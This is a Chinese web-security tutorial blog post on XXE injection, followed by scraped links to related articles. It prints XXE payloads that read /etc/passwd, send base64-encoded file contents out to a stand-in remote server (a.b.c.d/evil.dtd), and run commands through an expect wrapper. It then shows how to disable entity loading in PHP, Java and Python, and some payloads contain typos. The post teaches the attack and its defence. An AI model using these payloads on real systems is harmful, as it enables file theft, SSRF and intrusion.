WEB安全番外第三篇--关于XXE
一、什么是XXE
1、XML实体简介
(1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用。在XML中有一种结构叫做实体:
(2)一般其定义的标签关键字ENTITY,分为如下两种:
一般实体<!ENTITY entity_name "entity_text"> 引用实体&name
参数实体!ENTITY % entity_name "entity_text"> 引用实体%name
(3)此外还有两个概念内部实体、外部实体,内部实体如上就不赘述了,外部实体如下定义:
<!ENTITY name SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">
2、搞清楚了1中的内容,接下来我们来看XXE(XML External Entity)
说白了就是XML外部实体注入,通过构造输入中的XML部分,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
二、构造XXE进行利用
1、读取任意文件
(1)有回显的:
直接引用:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
引入外部定义或声明来引用:
声明的:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<c>&b<c>
定义的:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://www.m03.com/evil.dtd">
<c>&b<c>
外部dtd文件如下:
<!ENTITY b SYSTEM "file:///etc/passwd">
当然外层会有java、php处理
(2)没有回显的,需要发送到远端服务器上:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/ resource=/etc/issue">
<!ENTITY %dtd SYSTEM http://a.b.c.d/evil.dtd>
%dtd
%send
]>
EOF;
$data = simplexml_load_STRING($XML)
#print_r($data)
?>
远端服务器上evil.dtd:
<! ENTITY % all
"<! ENTITY % send SYSTEM 'http://a.b.c.d/?%file;'>"
>
%all
然后通过远端把这个传过来的文件定义成实体,也就是外部实体,外层在处理。
2、命令执行:
具体参考一个PHP的,当然这里需要php安装插件:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
/*
例子参靠源自:
作者:Pino_HD
链接:https://www.jianshu.com/p/7325b2ef8fc9
*/
3、SSRF:
既然发起发起访问,name自然就可以SSRF、同样内网探测也可以。
4、对于不同程序语言

三、防御:
1、对开发语言配置禁用外部实体:
主要是
(1)PHP
libxml_disable_entity_loader(true);
(2)Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
(3)Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、禁用外部实体
3、及时升级相关组件、中间件、避免组件中有类似的漏洞
四、参考资料:
1、https://www.cnblogs.com/r00tuser/p/7255939.html
2、https://www.jianshu.com/p/7325b2ef8fc9
WEB安全番外第三篇--关于XXE的更多相关文章
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
- WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例
背景: 在WEB安全的学习过程中,了解过了原理之后,就是学习各种Payload,这里面蕴藏着丰富的知识含量,是在基本上覆盖了漏洞原理之后的进一步深入学习的必经之路.无理是Burpsuite还是Sqlm ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
- Python之路番外(第三篇):Pycharm的使用秘籍
版本:Pycharm2017.3.4Professional Edition 一.Pycharm的基本使用1.在Pycharm下为你的python项目配置python解释器 file --settin ...
- WEB安全番外第二篇--明日之星介绍HTML5安全问题介绍
一.CORS领域问题: 1.CORS的介绍请参考:跨域资源共享简介 2.HTML5中的XHR2级调用可以打开一个socket连接,发送HTTP请求,有趣的是,上传文件这里恰恰是multi-part/f ...
- WEB安全番外第一篇--其他所谓的“非主流”漏洞:URL跳转漏洞与参数污染
一.URL跳转篇: 1.原理:先来看这段代码: <?php if(isset($_GET["url_redircetion_target"])){ $url_redirect ...
- Python 项目实践三(Web应用程序)第三篇
接着上节的继续学习,现在要显示所有主题的页面 有了高效的网页创建方法,就能专注于另外两个网页了:显示全部主题的网页以及显示特定主题中条目的网页.所有主题页面显示用户创建的所有主题,它是第一个需要使用数 ...
- Python 项目实践三(Web应用程序) 第三篇
接着上节的继续学习,现在要显示所有主题的页面 有了高效的网页创建方法,就能专注于另外两个网页了:显示全部主题的网页以及显示特定主题中条目的网页.所有主题页面显示用户创建的所有主题,它是第一个需要使用数 ...
- .net core番外第2篇:Autofac的3种依赖注入方式(构造函数注入、属性注入和方法注入),以及在过滤器里面实现依赖注入
本篇文章接前一篇,建议可以先看前篇文章,再看本文,会有更好的效果. 前一篇跳转链接:https://www.cnblogs.com/weskynet/p/15046999.html 正文: Autof ...
随机推荐
- log4cplus基础知识
一.简介: log4cplus是C++编写的开源的日志系统. 具有线程安全.灵活.以及多粒度控制的特点,通过将信息划分优先级使其可以面向程序调试.运行.测试.和维护等全生命周期: 你可以选择将信息输出 ...
- intelliJ IDEA 配置MySQL数据库 详解
1> 在主界面中,点击右边侧栏的 Database ,在点击 + ,再Data Source 选择数据库 2> 填入 Database 数据库名,在输入 User 和 Password ...
- spring in action小结3 运行时值注入
讨论依赖注入的时候,通常讨论的是一个bean引用注入到另一个bean的属性或者构造器参数中.bean装配的另一个方面是将值注入到bean的属性或者构造器参数中.避免硬编码的方式就是运行时确定值. sp ...
- Linux下解压tar.xz
tar xvJf ***.tar.xz 注意零散文件,最好放到文件夹里
- [svc]nfs客户端报错解决Stale file handle
NFS故障: 问题背景: 客户端挂载是好的.服务端磁盘满了,重新给挂了一快.客户端df -h 发现nfs挂载消失. 查看目录客户端报错:Stale file handle 现象如下: [root@n1 ...
- 【Android】15.5 例15-3—Notification的各种属性演示
分类:C#.Android.VS2015: 创建日期:2016-02-29 一.简介 利用这个例子,可测试通知的各种属性以及这些不同属性选项呈现的效果. 另外,在这个例子中,还演示了如何读写SD中的图 ...
- ov5640 i2c通信异常问题
1 异常场景如下描述 之前的测试场景: 将插在排针上的杜邦线向上拔一点,留出空间挂示波器的探针. 这种方式会导致i2c只发送一组8bit的数据,而另外两组没有发送成功.如上图所示. 因此,之前出现没有 ...
- 02、Quick Start for Windows phone
在使用这个 SDK 提供的功能前,必须先添加类库的引用到你的工程里.参考: Download and add the libraries to the project. 定义你的 XAML 的 UI ...
- 【已解决】vbox + ubuntu 设置 1366x768 分辨率
1. 打开VBOX(Oracle VM VirtualBox),启动Ubuntu 2. 点击"设备>安装增强功能" 3. 进入Ubuntu打开文件管理器,如下图 4. 输入r ...
- CodeForces 558D
Guess Your Way Out! II Time Limit:2000MS Memory Limit:262144KB 64bit IO Format:%I64d & ...